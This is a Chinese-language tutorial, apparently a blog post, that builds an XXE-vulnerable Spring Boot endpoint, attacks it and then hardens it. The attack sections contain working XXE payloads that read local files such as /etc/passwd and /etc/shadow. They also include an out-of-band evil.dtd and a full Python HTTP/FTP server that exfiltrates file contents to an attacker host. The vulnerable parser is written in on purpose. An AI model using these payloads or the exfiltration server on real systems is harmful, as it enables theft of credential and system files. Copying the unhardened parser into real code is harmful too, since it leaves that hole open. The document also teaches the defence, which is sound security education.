0%

实现包含XXE漏洞的服务、攻击以及防御方法

实现包含XXE漏洞的服务

新建项目

首先实现一个包含XXE漏洞的服务吧,新建一个SpringBoot项目:
1548150750904

建好之后目录如下

1548154022764

定义Controller

新建XXEController.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@RestController
public class XXEController {
@PostMapping(value = "/xxe")
public String xxe(@RequestBody String userString) throws ParserConfigurationException, IOException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new ByteArrayInputStream(userString.getBytes("utf-8")));
String username = getValueByTagName(doc, "username");
String password = getValueByTagName(doc, "password");
return "Username: " + username + "Password: " + password;
}

private String getValueByTagName(Document doc, String tagName) {
if (doc == null || tagName.equals(null)) {
return "";
}
NodeList pl = doc.getElementsByTagName(tagName);
if (pl != null && pl.getLength() > 0) {
return pl.item(0).getTextContent();
}
return "";
}
}

调试

以上一个脆弱的服务器就做好了,用postman发个包,可以看到服务器返回了期待内容:

1548159244547

攻击

有回显的XXE攻击

新建d:/flag/flag.txt文件,内容为flag:1234

通过外部实体构造Payload:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE a [
<!ENTITY xxe SYSTEM "file:///d:/flag/flag.txt">
]>
<user>
<username>&xxe;</username>
<password>passw0rd</password>
</user>

看到flag.txt内容已经被打印:

1548159377847

无回显的XXE攻击

攻击者在自己服务器上构造evil.dtd,并开启http服务(这里假设为127.0.0.1:8000):

1
2
3
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8000/%file;'>">
%payload;
%send;

再给靶机发送如下payload:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///d:/flag/flag.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/evil.dtd">
%dtd;
]>
<data>&send;</data>

发包,看到服务器报错:

1548210905577

同时在攻击机上可以看到文件内容:

1548160653404

使用ftp进行无回显的攻击

使用ftp的好处是若服务是java写的可以列目录和获取多行文件(但是我这里在win和linux上都没有复现成功,怀疑是java库的版本问题)。

使用mvn clean package打包出jar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
λ mvn clean package
[WARNING]
[WARNING] Some problems were encountered while building the effective settings
[WARNING] expected START_TAG or END_TAG not TEXT (position: TEXT seen ...</repositories>\n\u3000\u3000\u3000 <!-- \u63d2\u4ef6\u4ed3\u5e93 -->\n <p... @232:9) @ D:\Store\document\all_my_work\java_lib\apache-maven-3.5.0\bin\..\conf\settings.xml, line 232, column 9
[WARNING]
[INFO] Scanning for projects...
[INFO]
[INFO] ------------------------------------------------------------------------
[INFO] Building xxedemo 0.0.1-SNAPSHOT
[INFO] ------------------------------------------------------------------------
...
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 10.617 s
[INFO] Finished at: 2019-01-23T14:19:30+08:00
[INFO] Final Memory: 37M/324M
[INFO] ------------------------------------------------------------------------

在linux上启动漏洞服务器:

1
$ java -jar target/xxedemo-0.0.1-SNAPSHOT.jar

准备脚本xxeftp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python

import SocketServer
from threading import Thread
from time import sleep
import logging
from sys import argv

logging.basicConfig(filename='server-xxe-ftp.log',level=logging.DEBUG)

"""
The XML Payload you should send to the server!
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % dtd SYSTEM "http://x.x.x.x:8888/evil.dtd">
%dtd;
]>
<data>&send;</data>
"""

payload = """<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://{}:{}/%file;'>">
%all;"""

def wlog(_str):
print _str
logging.info("{}\n".format(_str))

class WebServer(SocketServer.BaseRequestHandler):
"""
Request handler for our webserver.
"""

def handle(self):
"""
Blanketly return the XML payload regardless of who's asking.
"""
resp = """HTTP/1.1 200 OK\r\nContent-Type: application/xml\r\nContent-length: {}\r\n\r\n{}\r\n\r\n""".format(len(payload), payload)
# self.request is a TCP socket connected to the client
self.data = self.request.recv(4096).strip()
wlog("[WEB] {} Connected and sent:".format(self.client_address[0]))
wlog("{}".format(self.data))
# Send back same data but upper
self.request.sendall(resp)
wlog("[WEB] Replied with:\n{}".format(resp))

class FTPServer(SocketServer.BaseRequestHandler):
"""
Request handler for our ftp.
"""

def handle(self):
"""
FTP Java handler which can handle reading files
and directories that are being sent by the server.
"""
# set timeout
self.request.settimeout(10)
wlog("[FTP] {} has connected".format(self.client_address[0]))
self.request.sendall("220 xxe-ftp-server\n")
try:
while True:
self.data = self.request.recv(4096).strip()
wlog("[FTP] Received:\n{}".format(self.data))
if "LIST" in self.data:
self.request.sendall("drwxrwxrwx 1 owner group 1 Feb 21 04:37 rsl\n")
self.request.sendall("150 Opening BINARY mode data connection for /bin/ls\n")
self.request.sendall("226 Transfer complete.\n")
elif "USER" in self.data:
self.request.sendall("331 password please - version check\n")
elif "PORT" in self.data:
wlog("[FTP] ! PORT received")
wlog("[FTP] > 200 PORT command ok")
self.request.sendall("200 PORT command ok\n")
elif "SYST" in self.data:
self.request.sendall("215 RSL\n")
else:
wlog("[FTP] > 230 more data please!")
self.request.sendall("230 more data please!\n")
except Exception, e:
if "timed out" in e:
wlog("[FTP] Client timed out")
else:
wlog("[FTP] Client error: {}".format(e))
wlog("[FTP] Connection closed with {}".format(self.client_address[0]))

def start_server(conn, serv_class):
server = SocketServer.TCPServer(conn, serv_class)
t = Thread(target=server.serve_forever)
t.daemon = True
t.start()

if __name__ == "__main__":
if not argv[1]:
print "[-] Need public IP of this server in order to receive data."
exit(1)
WEB_ARGS = ("0.0.0.0", 8888)
FTP_ARGS = ("0.0.0.0", 2121)
payload = payload.format(argv[1],FTP_ARGS[1])
wlog("[WEB] Starting webserver on %s:%d..." % WEB_ARGS)
start_server(WEB_ARGS, WebServer)
wlog("[FTP] Starting FTP server on %s:%d..." % FTP_ARGS)
start_server(FTP_ARGS, FTPServer)
try:
while True:
sleep(10000)
except KeyboardInterrupt, e:
print "\n[+] Server shutting down."

运行:

1
2
3
$ python xxeftp.py 127.0.0.1
[WEB] Starting webserver on 0.0.0.0:8888...
[FTP] Starting FTP server on 0.0.0.0:2121...

发送payload,这次我们查看/etc/passwd

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8888/evil.dtd">
%dtd;
]>
<data>&send;</data>

ftp服务器得到回显,从结果可以看到,有些符号还是中断了ftp的传输:

1548225798806

防御

java的很多包都有xxe解析的漏洞,但是防御手段都大同小异,禁用外部实体就完事了:

1
2
3
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

其他包的禁用方法可以参考OWASP(XXE)_Prevention_Cheat_Sheet

可以看到,禁用实体之后已经不存在XXE:

1548226937710

使用Unmarshaller和JAXBContext防御XXE漏洞

使用Unmarshaller和JAXBContext防御XXE漏洞是我感觉最优雅的解决办法了,Unmarshaller本身就屏蔽了外部实体,自然也没有XXE漏洞,不仅如此,它还能通过注解与类直接绑定,连解析都省了。

定义DTO

新建UserDto.java文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@XmlAccessorType(XmlAccessType.FIELD)
@XmlRootElement(name="user")
public class UserDto {
@XmlElement
private String username;

@XmlElement
private String password;

public String getUsername() {
return username;
}

public String getPassword() {
return password;
}

@Override
public String toString() {
return "User(username=" + username + ", password=" + password + ")";
}
}

定义XML反序列化工具类

新建Util.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Util {
public static Object xmlStr2obj(Class clazz, String xmlStr) {
Object xmlObject = null;
try {
JAXBContext context = JAXBContext.newInstance(clazz);
// 进行将Xml转成对象的核心接口
Unmarshaller unmarshaller = context.createUnmarshaller();
StringReader sr = new StringReader(xmlStr);
xmlObject = unmarshaller.unmarshal(sr);
} catch (JAXBException e) {
e.printStackTrace();
}
return xmlObject;
}
}

可以看到我们这里使用了JAXBContext读取XML。

定义Controller

新建XXEController.java:

1
2
3
4
5
6
7
8
@RestController
public class XXEController {
@PostMapping(value = "/xxe2")
public String xxe2(@RequestBody String userString){
UserDto userDto=(UserDto) Util.xmlStr2obj(UserDto.class, userString);
return "Username: " + userDto.getUsername()+", Password: " + userDto.getPassword();
}
}

很有意思的是,笔者在写这文章的一开始就使用了Unmarshaller和JAXBContext的方案,导致了XXE漏洞根本复现不出来>_<